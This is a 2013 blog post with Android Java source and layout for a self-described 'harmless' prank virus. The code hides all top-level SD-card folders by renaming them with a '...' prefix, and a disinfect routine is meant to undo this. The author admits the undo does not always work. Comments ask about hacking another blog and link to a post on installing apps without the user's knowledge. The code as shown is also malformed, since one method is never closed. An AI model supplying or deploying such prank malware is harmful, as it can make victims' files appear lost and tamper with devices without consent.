Thursday, 30 May 2013


Creating a simple virus program(harmless,just for fun / prank)....

This program can infect the phone as well as disinfect it....

(disinfecting will not function properly in some cases,data is not actually lost anywhere but you have to recover it manually in such case... **it is also described below)
so use at own risk....

Screen shot:-
After infecting






but yet it works in most cases

This posts include a simple program in android which is capable to invisible all the SD-Card content of phone from file manager,gallery and media scanner...

The basic idea behind it is only to hide/invisible the SD-Card content from phone.so Android OS gets unaware about that data and don't shows it up.....

In Android system folders having a dot "." as initial of its name considered as hidden .... so what we do is to make each SD-card folder to start with "..." to hide them ex- 'image' --> '...image'
and while disinfecting we have to remove those dots to unhide them from system....


here we are using three dots "..." as prefix to differ them from android system hidden files..

Source code:-

package com.example.fun_virus;



import java.io.File;
import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;

public class Fun_Virus_Activity extends Activity 
{
private File file;
private List<String> myList;

public void onCreate(Bundle savedInstanceState) 
{
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_fun__virus);
    
    myList = new ArrayList<String>();   

    String root_sd = Environment.getExternalStorageDirectory().toString();
    file = new File( root_sd + "/" ) ;       
    Button btn_infect = (Button) findViewById(R.id.btn_infect);
Button btn_disinfect = (Button) findViewById(R.id.btn_disinfect);
    
    btn_infect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
SharedPreferences settings = getSharedPreferences("mysp", MODE_PRIVATE);
String inf = settings.getString("INFECTED","NO");
if(inf.equals("OK"))
{
Toast.makeText(Fun_Virus_Activity.this,"Already Infected", 5).show();
}else
{
infect();
 
   SharedPreferences.Editor prefEditor = settings.edit();
   prefEditor.putString("INFECTED", "OK");
  
   prefEditor.commit();
}
}
});
    
btn_disinfect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
disinfect();
Fun_Virus_Activity.this.getSharedPreferences("mysp", 0).edit().clear().commit();
}
});
    
    
    
    


public void infect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
//File file2 = new File(list[i].getParent()+"..."+myList.get(i));
Log.e("abs_path",list[i].getParent()+"/"+myList.get(i)+"");
//boolean success = file.renameTo(file2);

boolean success= file.renameTo(new File(list[i].getParent(),"..."+myList.get(i)));


        Log.e("bool",success+"" );
}
}

public void disinfect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
String aa= myList.get(i).replace("...", "");
Log.e("replace", aa+"");
boolean success= file.renameTo(new File(list[i].getParent(),aa));


       Log.e("bool",success+"" );
}
}


}



And the layout :-


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
 android:background="@drawable/vrs_logo"
    tools:context=".Fun_Virus_Activity" >

    <Button
        android:id="@+id/btn_infect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentLeft="true"
        android:layout_alignParentTop="true"
        android:layout_marginTop="32dp"
        android:text="INFECT" />

    <Button
        android:id="@+id/btn_disinfect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignBaseline="@+id/btn_infect"
        android:layout_alignBottom="@+id/btn_infect"
        android:layout_alignParentRight="true"
        android:text="DISINFECT" />

</RelativeLayout>

**
In a condition when all previous data is not visible after disinfecting then you have to manually recover those data using file explorer like:-Es File Explorer,AndroZip etc..
you should rename folders with "..." prefix to there original name ex:- '...image' -->'image'
This will show data again.

9 comments:

  1. Replies
    1. http://mychotigolpo.blogspot.com can i hack it?

      Delete
  2. One more thing forgot to mention is to add permission

    uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"

    in your manifest file.

    ReplyDelete
  3. where we have write those comands in notepad or any other software

    ReplyDelete
    Replies
    1. You will need android sdk and an integrated development environment (IDE)to write android programs...

      I would suggest you to download latest ADT bundle(includes sdk and eclipe IDE) from here - http://developer.android.com/sdk/index.html

      just extract it and you are ready to go.

      this tutorial will provide you much more details - http://mobile.tutsplus.com/tutorials/android/creating-android-hello-world-applications/

      Delete
  4. Check my next post to install an app without user get knowledge of it...

    Unfortunately it not works on some devices.

    Here-
    http://suhebqureshi.blogspot.in/2013/08/is-it-possible-to-install-application.html

    ReplyDelete
  5. add me man : hackersohail.blogspot.com

    ReplyDelete
  6. juz tell me the procedure do work with this program in SDK..
    WAT SHOULD I DO WITH THIS CODE'S

    ReplyDelete
    Replies
    1. Just copy this code as it is in your eclipse android project.


      if that doesn't help.stay tuned!!!....
      I am going to post source code link soon- within 1 week.....

      Delete